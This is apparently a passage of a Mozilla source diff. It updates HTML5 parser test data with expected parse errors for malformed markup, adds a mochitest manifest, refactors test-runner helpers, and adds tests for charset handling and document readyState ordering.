#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,21): attributes-in-end-tag
+(1,51): attributes-in-end-tag
#document
| <html>
| <head>
@@ -131,6 +143,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
</ tttt>
#errors
+(1,2): expected-closing-tag-but-got-char
+(1,8): expected-doctype-but-got-eof
#document
| <!-- tttt -->
| <html>
@@ -140,6 +154,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<div FOO ><img><img></div>
#errors
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -152,6 +167,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<p>Test</p<p>Test2</p>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,13): unexpected-end-tag
#document
| <html>
| <head>
@@ -162,6 +179,11 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<rdar://problem/6869687>
#errors
+(1,7): unexpected-character-after-solidus-in-tag
+(1,8): unexpected-character-after-solidus-in-tag
+(1,16): unexpected-character-after-solidus-in-tag
+(1,24): expected-doctype-but-got-start-tag
+(1,24): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -173,6 +195,9 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<A>test< /A>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,8): expected-tag-name
+(1,12): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -183,6 +208,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
&lt;
#errors
+(1,4): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -192,6 +218,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<body foo='bar'><body foo='baz' yo='mama'>
#errors
+(1,16): expected-doctype-but-got-start-tag
+(1,42): unexpected-start-tag
#document
| <html>
| <head>
@@ -202,6 +230,9 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<body></br foo="bar"></body>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,21): attributes-in-end-tag
+(1,21): unexpected-end-tag-treated-as
#document
| <html>
| <head>
@@ -211,6 +242,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<bdy><br foo="bar"></body>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,26): expected-one-end-tag-but-got-another
#document
| <html>
| <head>
@@ -222,6 +255,10 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<body></body></br foo="bar">
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,28): attributes-in-end-tag
+(1,28): unexpected-end-tag-after-body
+(1,28): unexpected-end-tag-treated-as
#document
| <html>
| <head>
@@ -231,6 +268,10 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<bdy></body><br foo="bar">
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,12): expected-one-end-tag-but-got-another
+(1,26): unexpected-start-tag-after-body
+(1,26): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -242,6 +283,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<html><body></body></html><!-- Hi there -->
#errors
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -251,6 +293,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<html><body></body></html>x<!-- Hi there -->
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,27): expected-eof-but-got-char
#document
| <html>
| <head>
@@ -261,6 +305,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<html><body></body></html>x<!-- Hi there --></html><!-- Again -->
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,27): expected-eof-but-got-char
#document
| <html>
| <head>
@@ -272,6 +318,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<html><body></body></html>x<!-- Hi there --></body></html><!-- Again -->
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,27): expected-eof-but-got-char
#document
| <html>
| <head>
@@ -283,6 +331,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<html><body><ruby><div><rp>xx</rp></div></ruby></body></html>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,27): XXX-undefined-error
#document
| <html>
| <head>
@@ -295,6 +345,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<html><body><ruby><div><rt>xx</rt></div></ruby></body></html>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,27): XXX-undefined-error
#document
| <html>
| <head>
@@ -307,6 +359,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<html><frameset><!--1--><noframes>A</noframes><!--2--></frameset><!--3--><noframes>B</noframes><!--4--></html><!--5--><noframes>C</noframes><!--6-->
#errors
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -327,6 +380,12 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<select><option>A<select><option>B<select><option>C<select><option>D<select><option>E<select><option>F<select><option>G<select>
#errors
+(1,8): expected-doctype-but-got-start-tag
+(1,25): unexpected-select-in-select
+(1,59): unexpected-select-in-select
+(1,93): unexpected-select-in-select
+(1,127): unexpected-select-in-select
+(1,127): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -353,6 +412,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<dd><dd><dt><dt><dd><li><li>
#errors
+(1,4): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -368,6 +428,10 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<div><b></div><div><nobr>a<nobr>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,14): end-tag-too-early
+(1,32): unexpected-start-tag-implies-end-tag
+(1,32): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -384,6 +448,7 @@ console.log("FOO<span>BAR</span>BAZ");
<head></head>
<body></body>
#errors
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -394,6 +459,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<head></head> <style></style>ddd
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,21): unexpected-start-tag-out-of-my-head
#document
| <html>
| <head>
@@ -405,6 +472,12 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<kbd><table></kbd><col><select><tr>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,18): unexpected-end-tag-implies-table-voodoo
+(1,18): unexpected-end-tag
+(1,31): unexpected-start-tag-implies-table-voodoo
+(1,35): unexpected-table-element-start-tag-in-select-in-table
+(1,35): eof-in-table
#document
| <html>
| <head>
@@ -420,6 +493,12 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<kbd><table></kbd><col><select><tr></table><div>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,18): unexpected-end-tag-implies-table-voodoo
+(1,18): unexpected-end-tag
+(1,31): unexpected-start-tag-implies-table-voodoo
+(1,35): unexpected-table-element-start-tag-in-select-in-table
+(1,48): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -436,6 +515,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<a><li><style></style><title></title></a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,41): adoption-agency-1.3
#document
| <html>
| <head>
@@ -449,6 +530,9 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<font></p><p><meta><title></title></font>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,10): unexpected-end-tag
+(1,41): adoption-agency-1.3
#document
| <html>
| <head>
@@ -463,6 +547,10 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<a><center><title></title><a>
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,29): unexpected-start-tag-implies-end-tag
+(1,29): adoption-agency-1.3
+(1,29): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -476,6 +564,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<svg><title><div>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -487,6 +577,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<svg><title><rect><div>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,23): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -499,6 +591,9 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<svg><title><svg><div>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,22): unexpected-html-element-in-foreign-content
+(1,22): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -511,6 +606,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<img <="" FAIL>
#errors
+(1,6): invalid-character-in-attribute-name
+(1,15): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -522,6 +619,9 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<ul><li><div id='foo'/>A</li><li>B<div>C</div></li></ul>
#errors
+(1,4): expected-doctype-but-got-start-tag
+(1,23): non-void-element-with-trailing-solidus
+(1,29): end-tag-too-early
#document
| <html>
| <head>
@@ -539,6 +639,9 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<svg><em><desc></em>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,9): unexpected-html-element-in-foreign-content
+(1,20): adoption-agency-1.3
#document
| <html>
| <head>
@@ -550,6 +653,10 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<svg><tfoot></mi><td>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,17): unexpected-end-tag
+(1,17): unexpected-end-tag
+(1,21): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -561,6 +668,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<math><mrow><mrow><mn>1</mn></mrow><mi>a</mi></mrow></math>
#errors
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -576,6 +684,8 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<!doctype html><input type="hidden"><frameset>
#errors
+(1,46): unexpected-start-tag
+(1,46): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -585,6 +695,7 @@ console.log("FOO<span>BAR</span>BAZ");
#data
<!doctype html><input type="button"><frameset>
#errors
+(1,46): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit02.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit02.dat
index 468879b3c..647fcfd41 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit02.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/webkit02.dat
@@ -1,6 +1,8 @@
#data
<foo bar=qux/>
#errors
+(1,14): expected-doctype-but-got-start-tag
+(1,14): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -11,6 +13,7 @@
#data
<p id="status"><noscript><strong>A</strong></noscript><span>B</span></p>
#errors
+(1,15): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -25,6 +28,7 @@
#data
<div><sarcasm><div></div></sarcasm></div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -36,6 +40,8 @@
#data
<html><body><img src="" border="0" alt="><div>A</div></body></html>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,67): eof-in-attribute-value-double-quote
#document
| <html>
| <head>
@@ -44,6 +50,10 @@
#data
<table><td></tbody>A
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,20): foster-parenting-character
+(1,20): eof-in-table
#document
| <html>
| <head>
@@ -57,6 +67,10 @@
#data
<table><td></thead>A
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,19): XXX-undefined-error
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -70,6 +84,10 @@
#data
<table><td></tfoot>A
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,19): XXX-undefined-error
+(1,20): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -83,6 +101,10 @@
#data
<table><thead><td></tbody>A
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,18): unexpected-cell-in-table-body
+(1,26): XXX-undefined-error
+(1,27): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/mochitest.ini b/parser/htmlparser/tests/mochitest/mochitest.ini
new file mode 100644
index 000000000..0000ba9fc
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/mochitest.ini
@@ -0,0 +1,146 @@
+[DEFAULT]
+skip-if = buildapp == 'b2g'
+support-files =
+ bug_502091_iframe.html
+ file_bug102699.sjs
+ file_bug534293-slow.sjs
+ file_bug534293.sjs
+ file_bug543062.sjs
+ file_bug594730-1.html
+ file_bug594730-2.html
+ file_bug594730-3.html
+ file_bug594730-4.html
+ file_bug594730-5.html
+ file_bug594730-6.html
+ file_bug594730-7.html
+ file_bug594730-8.html
+ file_bug594730-9.html
+ file_bug642908.sjs
+ file_bug655682.sjs
+ file_bug672453_bomless_utf16.html
+ file_bug672453_http_unsupported.html
+ file_bug672453_http_unsupported.html^headers^
+ file_bug672453_late_meta.html
+ file_bug672453_meta_non_superset.html
+ file_bug672453_meta_restart.html
+ file_bug672453_meta_unsupported.html
+ file_bug672453_meta_utf16.html
+ file_bug688580.js
+ file_bug672453_not_declared.html
+ file_bug672453_meta_userdefined.html
+ file_bug716579-16.html
+ file_bug716579-16.html^headers^
+ file_bug716579-16.xhtml
+ file_bug716579-16.xhtml^headers^
+ file_bug716579-8.html
+ file_bug716579-8.html^headers^
+ file_bug716579-8.xhtml
+ file_bug716579-8.xhtml^headers^
+ file_bug717180.html
+ file_img_picture_preload.html
+ file_img_picture_preload.sjs
+ html5_tree_construction_exceptions.js
+ iframe_bug599584.html
+ invalidchar.xml
+ parser_datreader.js
+ parser_web_testrunner.js
+ dir_bug534293/file_bug534293.sjs
+ html5lib_tree_construction/adoption01.dat
+ html5lib_tree_construction/adoption02.dat
+ html5lib_tree_construction/comments01.dat
+ html5lib_tree_construction/doctype01.dat
+ html5lib_tree_construction/domjs-unsafe.dat
+ html5lib_tree_construction/entities01.dat
+ html5lib_tree_construction/entities02.dat
+ html5lib_tree_construction/foreign-fragment.dat
+ html5lib_tree_construction/html5test-com.dat
+ html5lib_tree_construction/inbody01.dat
+ html5lib_tree_construction/isindex.dat
+ html5lib_tree_construction/pending-spec-changes.dat
+ html5lib_tree_construction/pending-spec-changes-plain-text-unsafe.dat
+ html5lib_tree_construction/plain-text-unsafe.dat
+ html5lib_tree_construction/scriptdata01.dat
+ html5lib_tree_construction/tables01.dat
+ html5lib_tree_construction/template.dat
+ html5lib_tree_construction/tests10.dat
+ html5lib_tree_construction/tests11.dat
+ html5lib_tree_construction/tests12.dat
+ html5lib_tree_construction/tests14.dat
+ html5lib_tree_construction/tests15.dat
+ html5lib_tree_construction/tests16.dat
+ html5lib_tree_construction/tests17.dat
+ html5lib_tree_construction/tests18.dat
+ html5lib_tree_construction/tests19.dat
+ html5lib_tree_construction/tests1.dat
+ html5lib_tree_construction/tests20.dat
+ html5lib_tree_construction/tests21.dat
+ html5lib_tree_construction/tests22.dat
+ html5lib_tree_construction/tests23.dat
+ html5lib_tree_construction/tests24.dat
+ html5lib_tree_construction/tests25.dat
+ html5lib_tree_construction/tests26.dat
+ html5lib_tree_construction/tests2.dat
+ html5lib_tree_construction/tests3.dat
+ html5lib_tree_construction/tests4.dat
+ html5lib_tree_construction/tests5.dat
+ html5lib_tree_construction/tests6.dat
+ html5lib_tree_construction/tests7.dat
+ html5lib_tree_construction/tests8.dat
+ html5lib_tree_construction/tests9.dat
+ html5lib_tree_construction/tests_innerHTML_1.dat
+ html5lib_tree_construction/tricky01.dat
+ html5lib_tree_construction/webkit01.dat
+ html5lib_tree_construction/webkit02.dat
+ html5lib_tree_construction/main-element.dat
+ html5lib_tree_construction/ruby.dat
+ html5lib_tree_construction/scripted/adoption01.dat
+ html5lib_tree_construction/scripted/webkit01.dat
+ html5lib_tree_construction/scripted/ark.dat
+ blue.png
+
+[test_bug102699.html]
+[test_bug174351.html]
+[test_bug213517.html]
+[test_bug339350.xhtml]
+[test_bug358797.html]
+[test_bug396568.html]
+[test_bug418464.html]
+[test_bug460437.xhtml]
+[test_bug502091.html]
+[test_bug543062.html]
+[test_bug552938-2.html]
+[test_bug552938.html]
+[test_bug563322.xhtml]
+[test_bug566879.html]
+[test_bug594730.html]
+[test_bug599584.html]
+[test_bug613662.html]
+[test_bug613662.xhtml]
+[test_bug639362.html]
+[test_bug642908.html]
+[test_bug645115.html]
+[test_bug655682.html]
+[test_bug667533.html]
+[test_bug672453.html]
+[test_bug688580.html]
+[test_bug688580.xhtml]
+[test_bug709083.html]
+[test_bug715112.html]
+[test_bug715739.html]
+[test_bug716579.html]
+[test_bug717180.html]
+[test_compatmode.html]
+[test_html5_tree_construction.html]
+skip-if = toolkit == 'android' #TIMED_OUT
+[test_html5_tree_construction_part2.html]
+skip-if = toolkit == 'android' || e10s #TIMED_OUT
+[test_img_picture_preload.html]
+skip-if = (os == 'mac' && debug) # Bug 1129538
+[test_viewsource.html]
+[test_xml_mislabeled.html]
+# Disabled test due to orange on Linux
+# test_bug568470.html
+# file_bug568470.sjs
+# file_bug568470-script.sjs
+# Disable test due to frequent orange on Mac
+# test_bug534293.html
diff --git a/parser/htmlparser/tests/mochitest/moz.build b/parser/htmlparser/tests/mochitest/moz.build
deleted file mode 100644
index 957110c97..000000000
--- a/parser/htmlparser/tests/mochitest/moz.build
+++ /dev/null
@@ -1,7 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-TEST_DIRS += ['dir_bug534293', 'html5lib_tree_construction']
diff --git a/parser/htmlparser/tests/mochitest/parser_datreader.js b/parser/htmlparser/tests/mochitest/parser_datreader.js
index 25868078a..2fc0ee3fd 100644
--- a/parser/htmlparser/tests/mochitest/parser_datreader.js
+++ b/parser/htmlparser/tests/mochitest/parser_datreader.js
@@ -1,4 +1,4 @@
-/* -*- Mode: Java; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*-
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*-
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
@@ -105,16 +105,25 @@ function docToTestOutput(doc) {
}
/**
+ * Creates a walker for a fragment that skips over the root node.
+ *
+ * @param an element
+ */
+function createFragmentWalker(elt) {
+ return elt.ownerDocument.createTreeWalker(elt, NodeFilter.SHOW_ALL,
+ function (node) {
+ return elt == node ? NodeFilter.FILTER_SKIP : NodeFilter.FILTER_ACCEPT;
+ });
+}
+
+/**
* Transforms the descendants of an element to a string matching the format
* in the test cases.
*
* @param an element
*/
function fragmentToTestOutput(elt) {
- var walker = elt.ownerDocument.createTreeWalker(elt, NodeFilter.SHOW_ALL,
- function (node) { return elt == node ?
- NodeFilter.FILTER_SKIP :
- NodeFilter.FILTER_ACCEPT; });
+ var walker = createFragmentWalker(elt);
return addLevels(walker, "", "| ").slice(0,-1); // remove the last newline
}
@@ -139,10 +148,6 @@ function addLevels(walker, buf, indent) {
var attrs = walker.currentNode.attributes;
for (var i = 0; i < attrs.length; ++i) {
var localName = attrs[i].localName;
- if (localName.indexOf("_moz-") == 0) {
- // Skip bogus attributes added by the MathML implementation
- continue;
- }
var name;
var attrNs = attrs[i].namespaceURI;
if (null == attrNs) {
@@ -184,6 +189,15 @@ function addLevels(walker, buf, indent) {
break;
}
buf += "\n";
+ // In the case of template elements, children do not get inserted as
+ // children of the template element, instead they are inserted
+ // as children of the template content (which is a document fragment).
+ if (walker.currentNode instanceof HTMLTemplateElement) {
+ buf += indent + " content\n";
+ // Walk through the template content.
+ var templateWalker = createFragmentWalker(walker.currentNode.content);
+ buf = addLevels(templateWalker, buf, indent + " ");
+ }
buf = addLevels(walker, buf, indent + " ");
} while(walker.nextSibling());
walker.parentNode();
diff --git a/parser/htmlparser/tests/mochitest/parser_web_testrunner.js b/parser/htmlparser/tests/mochitest/parser_web_testrunner.js
index b81e8c748..9428a5394 100644
--- a/parser/htmlparser/tests/mochitest/parser_web_testrunner.js
+++ b/parser/htmlparser/tests/mochitest/parser_web_testrunner.js
@@ -1,4 +1,4 @@
-/* -*- Mode: Java; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*-
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*-
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
@@ -40,9 +40,9 @@ function writeErrorSummary(input, expected, got, isTodo) {
$("display").appendChild(createEl('span', null, "Matched: "));
$("display").appendChild(document.createTextNode("" + (expected == got)));
var pre = createEl('pre');
- pre.appendChild(createTextNode("Input: \n" + input, "\n-\n"));
- pre.appendChild(createTextNode("Expected:\n" + expected, "\n-\n"));
- pre.appendChild(createTextNode("Output:\n" + got + "\n-\n"));
+ pre.appendChild(document.createTextNode("Input: \n" + input, "\n-\n"));
+ pre.appendChild(document.createTextNode("Expected:\n" + expected, "\n-\n"));
+ pre.appendChild(document.createTextNode("Output:\n" + got + "\n-\n"));
$("display").appendChild(pre);
$("display").appendChild(createEl('hr'));
}
@@ -76,8 +76,17 @@ function makeFragmentTestChecker(input,
fragment,
testframe) {
return function () {
- var context = document.createElementNS("http://www.w3.org/1999/xhtml",
- fragment);
+ var context;
+ if (fragment.startsWith("svg ")) {
+ context = document.createElementNS("http://www.w3.org/2000/svg",
+ fragment.substring(4));
+ } else if (fragment.startsWith("math ")) {
+ context = document.createElementNS("http://www.w3.org/1998/Math/MathML",
+ fragment.substring(5));
+ } else {
+ context = document.createElementNS("http://www.w3.org/1999/xhtml",
+ fragment);
+ }
context.innerHTML = input;
var domAsString = fragmentToTestOutput(context);
is(domAsString, expected, "HTML5 expected success. " + new Date());
diff --git a/parser/htmlparser/tests/mochitest/test_bug213517.html b/parser/htmlparser/tests/mochitest/test_bug213517.html
new file mode 100644
index 000000000..36174fd4c
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/test_bug213517.html
@@ -0,0 +1,30 @@
+<!DOCTYPE HTML>
+<html>
+<!--
+https://bugzilla.mozilla.org/show_bug.cgi?id=213517
+-->
+<head>
+ <meta charset="x-user-defined">
+ <title>Test for Bug 213517</title>
+ <script type="application/javascript" src="/tests/SimpleTest/SimpleTest.js"></script>
+ <link rel="stylesheet" type="text/css" href="/tests/SimpleTest/test.css"/>
+ <script type="application/javascript">
+
+ /** Test for Bug 213517 **/
+
+ is(document.characterSet, "windows-1252", "x-user-defined in <meta> should have gotten mapped to windows-1252");
+
+
+
+ </script>
+</head>
+<body>
+<a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=213517">Mozilla Bug 213517</a>
+<p id="display"></p>
+<div id="content" style="display: none">
+
+</div>
+<pre id="test">
+</pre>
+</body>
+</html>
diff --git a/parser/htmlparser/tests/mochitest/test_bug418464.html b/parser/htmlparser/tests/mochitest/test_bug418464.html
index a623ae52c..f960989fa 100644
--- a/parser/htmlparser/tests/mochitest/test_bug418464.html
+++ b/parser/htmlparser/tests/mochitest/test_bug418464.html
@@ -31,9 +31,8 @@ https://bugzilla.mozilla.org/show_bug.cgi?id=418464
<script class="testbody" type="text/javascript">
/** Test for Bug 418464 **/
- // Commented out until the HTML5 parser is on by default
- // is(form1 instanceof HTMLFormElement, true,
- // "Should have a form here");
+ is(form1 instanceof HTMLFormElement, true,
+ "Should have a form here");
is(form2 instanceof HTMLFormElement, true,
"Should have a form here");
diff --git a/parser/htmlparser/tests/mochitest/test_bug566879.html b/parser/htmlparser/tests/mochitest/test_bug566879.html
index dc8d2b115..8fe2d0349 100644
--- a/parser/htmlparser/tests/mochitest/test_bug566879.html
+++ b/parser/htmlparser/tests/mochitest/test_bug566879.html
@@ -53,6 +53,7 @@ function continuation2() {
}
SimpleTest.waitForExplicitFinish();
+SimpleTest.requestFlakyTimeout("untriaged");
</script>
</pre>
</body>
diff --git a/parser/htmlparser/tests/mochitest/test_bug599584.html b/parser/htmlparser/tests/mochitest/test_bug599584.html
index f87eeb2a9..ea79a5a68 100644
--- a/parser/htmlparser/tests/mochitest/test_bug599584.html
+++ b/parser/htmlparser/tests/mochitest/test_bug599584.html
@@ -20,6 +20,7 @@ https://bugzilla.mozilla.org/show_bug.cgi?id=599584
/** Test for Bug 599584 **/
SimpleTest.waitForExplicitFinish();
+SimpleTest.requestFlakyTimeout("untriaged");
var alreadyRan = false;
function startTest() {
diff --git a/parser/htmlparser/tests/mochitest/test_bug672453.html b/parser/htmlparser/tests/mochitest/test_bug672453.html
index 1642db717..a0fb43682 100644
--- a/parser/htmlparser/tests/mochitest/test_bug672453.html
+++ b/parser/htmlparser/tests/mochitest/test_bug672453.html
@@ -25,7 +25,8 @@ var tests = [
"file_bug672453_http_unsupported.html",
"file_bug672453_bomless_utf16.html",
"file_bug672453_meta_utf16.html",
- "file_bug672453_meta_non_superset.html"
+ "file_bug672453_meta_non_superset.html",
+ "file_bug672453_meta_userdefined.html",
];
var expectedErrors = [
@@ -68,7 +69,12 @@ var expectedErrors = [
sourceName: "http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug672453_meta_non_superset.html",
lineNumber: 1,
isWarning: false,
- isException: false }
+ isException: false },
+ { errorMessage: "A meta tag was used to declare the character encoding as x-user-defined. This was interpreted as a windows-1252 declaration instead for compatibility with intentionally mis-encoded legacy fonts. This site should migrate to Unicode.",
+ sourceName: "http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug672453_meta_userdefined.html",
+ lineNumber: 1,
+ isWarning: false,
+ isException: false },
];
SimpleTest.waitForExplicitFinish();
diff --git a/parser/htmlparser/tests/mochitest/test_bug688580.html b/parser/htmlparser/tests/mochitest/test_bug688580.html
new file mode 100644
index 000000000..8bc75a892
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/test_bug688580.html
@@ -0,0 +1,64 @@
+<!DOCTYPE HTML>
+<html>
+<!--
+https://bugzilla.mozilla.org/show_bug.cgi?id=688580
+-->
+<head>
+ <meta charset="utf-8">
+ <title>Test for Bug 688580</title>
+ <script type="application/javascript" src="/tests/SimpleTest/SimpleTest.js"></script>
+ <link rel="stylesheet" type="text/css" href="/tests/SimpleTest/test.css"/>
+ <script type="application/javascript">
+
+ /** Test for Bug 688580 **/
+
+ // Expected order:
+ // Test starting
+ // readyState interactive
+ // defer
+ // DOMContentLoaded
+ // readyState complete
+ // load
+
+ var state = "Test starting";
+ var readyStateCall = 0;
+ SimpleTest.waitForExplicitFinish();
+ is(document.readyState, "loading", "Document should have been loading.");
+ document.addEventListener("DOMContentLoaded", function () {
+ is(document.readyState, "interactive", "readyState should be interactive during DOMContentLoaded.");
+ is(state, "defer", "Bad state upon DOMContentLoaded");
+ state = "DOMContentLoaded";
+ });
+ document.addEventListener("readystatechange", function () {
+ readyStateCall++;
+ if (readyStateCall == 1) {
+ is(document.readyState, "interactive", "readyState should have changed to interactive.");
+ is(state, "Test starting", "Bad state upon first readystatechange.");
+ state = "readyState interactive";
+ } else if (readyStateCall == 2) {
+ is(document.readyState, "complete", "readyState should have changed to complete.");
+ is(state, "DOMContentLoaded", "Bad state upon second readystatechange.");
+ state = "readyState complete";
+ } else {
+ ok(false, "Too many readystatechanges");
+ }
+ });
+ window.addEventListener("load", function () {
+ is(document.readyState, "complete", "readyState should be complete during load.");
+ is(state, "readyState complete", "Bad state upon load")
+ state = "load";
+ SimpleTest.finish();
+ });
+ </script>
+ <script defer src="file_bug688580.js"></script>
+</head>
+<body>
+<a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=688580">Mozilla Bug 688580</a>
+<p id="display"></p>
+<div id="content" style="display: none">
+
+</div>
+<pre id="test">
+</pre>
+</body>
+</html>
diff --git a/parser/htmlparser/tests/mochitest/test_bug688580.xhtml b/parser/htmlparser/tests/mochitest/test_bug688580.xhtml
new file mode 100644
index 000000000..1301376f2
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/test_bug688580.xhtml
@@ -0,0 +1,62 @@
+<html xmlns="http://www.w3.org/1999/xhtml">
+<!--
+https://bugzilla.mozilla.org/show_bug.cgi?id=688580
+-->
+<head>
+ <title>Test for Bug 688580</title>
+ <script type="application/javascript" src="/tests/SimpleTest/SimpleTest.js"></script>
+ <link rel="stylesheet" type="text/css" href="/tests/SimpleTest/test.css"/>
+ <script type="application/javascript">
+
+ /** Test for Bug 688580 **/
+
+ // Expected order:
+ // Test starting
+ // readyState interactive
+ // defer
+ // DOMContentLoaded
+ // readyState complete
+ // load
+
+ var state = "Test starting";
+ var readyStateCall = 0;
+ SimpleTest.waitForExplicitFinish();
+ is(document.readyState, "loading", "Document should have been loading.");
+ document.addEventListener("DOMContentLoaded", function () {
+ is(document.readyState, "interactive", "readyState should be interactive during DOMContentLoaded.");
+ is(state, "defer", "Bad state upon DOMContentLoaded");
+ state = "DOMContentLoaded";
+ });
+ document.addEventListener("readystatechange", function () {
+ readyStateCall++;
+ if (readyStateCall == 1) {
+ is(document.readyState, "interactive", "readyState should have changed to interactive.");
+ is(state, "Test starting", "Bad state upon first readystatechange.");
+ state = "readyState interactive";
+ } else if (readyStateCall == 2) {
+ is(document.readyState, "complete", "readyState should have changed to complete.");
+ is(state, "DOMContentLoaded", "Bad state upon second readystatechange.");
+ state = "readyState complete";
+ } else {
